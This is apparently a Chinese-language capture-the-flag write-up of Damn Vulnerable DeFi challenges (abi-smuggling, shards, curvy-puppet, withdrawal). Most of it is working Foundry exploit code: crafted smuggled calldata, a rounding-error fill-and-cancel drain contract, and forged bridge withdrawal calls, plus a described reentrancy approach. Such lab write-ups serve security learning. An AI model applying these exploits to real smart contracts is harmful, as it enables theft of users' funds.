  1. bytes memory final_call = hex"1cff79cd0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b26400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000";
  2. address(vault).call(final_call);

test一下可以看到非常成功

复制代码
  1. forge test -vvvvv --mp ./test/abi-smuggling/ABISmuggling.t.sol

shards

略显抽象,由于开局是啥也没有的,于是简单看了看market合约结果fuzz出fill方法在fill很少一部分shards的时候其实算出来所需要的费用会因为精度问题变成0,而cancel这笔交易却会返还一定的token,所以就循环就行了,结果第二次market就直接余额不足了,还得少fill一点,由于限制一笔交易,所以就写个合约放在构造函数里,测试exp时候记得加--isolate

exp(前面两个console.log是在fuzz这个fill和cancel,为了方便还把market合约里的toDVT改成了public):

复制代码
  1. function test_shards() public checkSolvedByPlayer {
  2. console.log(
  3. uint256(130).mulDivDown(
  4. marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE),
  5. NFT_OFFER_SHARDS
  6. )
  7. );
  8. console.log(uint256(130).mulDivUp(MARKETPLACE_INITIAL_RATE, 1e6));
  9. Hack hack = new Hack(
  10. ShardsNFTMarketplace(address(marketplace)),
  11. DamnValuableToken(address(token)),
  12. recovery
  13. );
  14. }
  15. function calc_shards(uint256 balance) public returns (uint256 shards) {
  16. shards = balance.mulDivDown(
  17. NFT_OFFER_SHARDS,
  18. marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE)
  19. );
  20. }
  21. contract Hack {
  22. constructor(
  23. ShardsNFTMarketplace marketplace,
  24. DamnValuableToken token,
  25. address recovery
  26. ) {
  27. token.approve(address(marketplace), type(uint256).max);
  28. marketplace.fill(1, 130);
  29. marketplace.cancel(1, 0);
  30. marketplace.fill(1, 1300000000);
  31. marketplace.cancel(1, 1);
  32. token.transfer(recovery, token.balanceOf(address(this)));
  33. }
  34. }

curvy-puppet

炸了,没做出来,主要是要去猛加流动性,但是这是以太坊主网,想猛加流动性去控制LP的价格还是很难的,向aave借了闪电贷但是如果要满足条件收回三人的质押的话就要向aave借大量代币最终自己的代币是不够还的,但是如果用免费的flashloan里面的代币又太少了,最终是借鉴了一下别人的wp的思路,他是借了两家flashloan

关键是增加流动性之后再去调用remove_liquidity,eth转过来的时候调用receive这时候再去liquidate,就可以在LP价格还高的时候通过collateralValue >= borrowValue这个条件,有点reentrancy的味道

这题最难的就是控制借的代币数量以及fee不要太大,还是挺难控制的,最好还是初始多给一点

代码有点长,放github里了

withdrawal

这个不难,通过L2MessageStore.sol可以了解到withdrawals.json中消息的格式

复制代码
  1. event MessageStored(
  2. bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data
  3. );

也就是topic里面装的是nonce,caller和target,data里面装的是id,timestamp和data,就可以依次解析出各种参数,在此拿nonce为1的举例

复制代码
  1. 0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60
  2. 0000000000000000000000000000000000000000000000000000000066729b95
  3. 00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000104
  4. 01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd5000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000044
  5. 81191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

大概就是这样,通过在合约里输出相应的selector

复制代码
  1. console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector); //0x81191e51
  2. console.logBytes4(l1Forwarder.forwardMessage.selector); //0x01210a38

可以知道这data是通过L1Forwarder.sol中的forwardMessage方法去调用TokenBridge.sol里的executeTokenWithdrawal方法

于是就可以解析出对应的amount,于是就可以发现nonce为2的那笔交易取了999000 ether,显然是异常交易,所以说我们的目标就是让nonce为0、1、3的交易成功,nonce为2的交易失败即可

通过阅读L1Forwarder.sol可以发现,即使交易失败也不会revert,而是使failedMessages[messageId] = true,所以说我们可以将另外三笔交易执行完毕之后再自己执行一笔交易把剩下的所有代币转出来再执行这个恶意交易,这样就能使其失败,最后再把代币还回去即可

exp:

复制代码
  1. function test_assertInitialState() public view {
  2. assertEq(l1Forwarder.owner(), deployer);
  3. assertEq(address(l1Forwarder.gateway()), address(l1Gateway));
  4. assertEq(l1Gateway.owner(), deployer);
  5. assertEq(l1Gateway.rolesOf(player), l1Gateway.OPERATOR_ROLE());
  6. assertEq(l1Gateway.DELAY(), 7 days);
  7. assertEq(l1Gateway.root(), WITHDRAWALS_ROOT);
  8. assertEq(
  9. token.balanceOf(address(l1TokenBridge)),
  10. INITIAL_BRIDGE_TOKEN_AMOUNT
  11. );
  12. assertEq(l1TokenBridge.totalDeposits(), INITIAL_BRIDGE_TOKEN_AMOUNT);
  13. }
  14. /**
  15. * CODE YOUR SOLUTION HERE
  16. */
  17. function test_withdrawal() public checkSolvedByPlayer {
  18. console.log(address(l1Forwarder));
  19. console.log(l2Handler);
  20. console.log(address(l1TokenBridge));
  21. console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector);
  22. console.logBytes4(l1Forwarder.forwardMessage.selector);
  23. bytes memory testdata = abi.encode(
  24. uint256(1),
  25. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  26. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  27. uint256(0x66729b95),
  28. abi.encodeWithSignature(
  29. "forwardMessage(uint256,address,address,bytes)",
  30. uint256(1),
  31. address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
  32. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  33. abi.encodeWithSignature(
  34. "executeTokenWithdrawal(address,uint256)",
  35. address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
  36. 10 ether
  37. )
  38. )
  39. );
  40. console.logBytes(testdata);
  41. console.logBytes32(keccak256(testdata));
  42. vm.warp(uint256(0x66729b95) + 8 days);
  43. bytes32[] memory proof = new bytes32[](1);
  44. l1Gateway.finalizeWithdrawal(
  45. uint256(0),
  46. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  47. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  48. uint256(0x66729b63),
  49. abi.encodeWithSignature(
  50. "forwardMessage(uint256,address,address,bytes)",
  51. uint256(0),
  52. address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),
  53. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  54. abi.encodeWithSignature(
  55. "executeTokenWithdrawal(address,uint256)",
  56. address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),
  57. 10 ether
  58. )
  59. ),
  60. proof
  61. );
  62. l1Gateway.finalizeWithdrawal(
  63. uint256(1),
  64. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  65. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  66. uint256(0x66729b95),
  67. abi.encodeWithSignature(
  68. "forwardMessage(uint256,address,address,bytes)",
  69. uint256(1),
  70. address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
  71. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  72. abi.encodeWithSignature(
  73. "executeTokenWithdrawal(address,uint256)",
  74. address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
  75. 10 ether
  76. )
  77. ),
  78. proof
  79. );
  80. l1Gateway.finalizeWithdrawal(
  81. uint256(3),
  82. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  83. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  84. uint256(0x66729c37),
  85. abi.encodeWithSignature(
  86. "forwardMessage(uint256,address,address,bytes)",
  87. uint256(3),
  88. address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),
  89. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  90. abi.encodeWithSignature(
  91. "executeTokenWithdrawal(address,uint256)",
  92. address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),
  93. 10 ether
  94. )
  95. ),
  96. proof
  97. );
  98. l1Gateway.finalizeWithdrawal(
  99. uint256(4),
  100. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  101. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  102. uint256(0x66729b95),
  103. abi.encodeWithSignature(
  104. "forwardMessage(uint256,address,address,bytes)",
  105. uint256(4),
  106. player,
  107. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  108. abi.encodeWithSignature(
  109. "executeTokenWithdrawal(address,uint256)",
  110. player,
  111. INITIAL_BRIDGE_TOKEN_AMOUNT - 30 ether
  112. )
  113. ),
  114. proof
  115. );
  116. l1Gateway.finalizeWithdrawal(
  117. uint256(2),
  118. address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
  119. address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
  120. uint256(0x66729bea),
  121. abi.encodeWithSignature(
  122. "forwardMessage(uint256,address,address,bytes)",
  123. uint256(2),
  124. address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),
  125. address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
  126. abi.encodeWithSignature(
  127. "executeTokenWithdrawal(address,uint256)",
  128. address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),
  129. 999000 ether
  130. )
  131. ),
  132. proof
  133. );
  134. token.transfer(address(l1TokenBridge), token.balanceOf(player));
  135. }

到此完结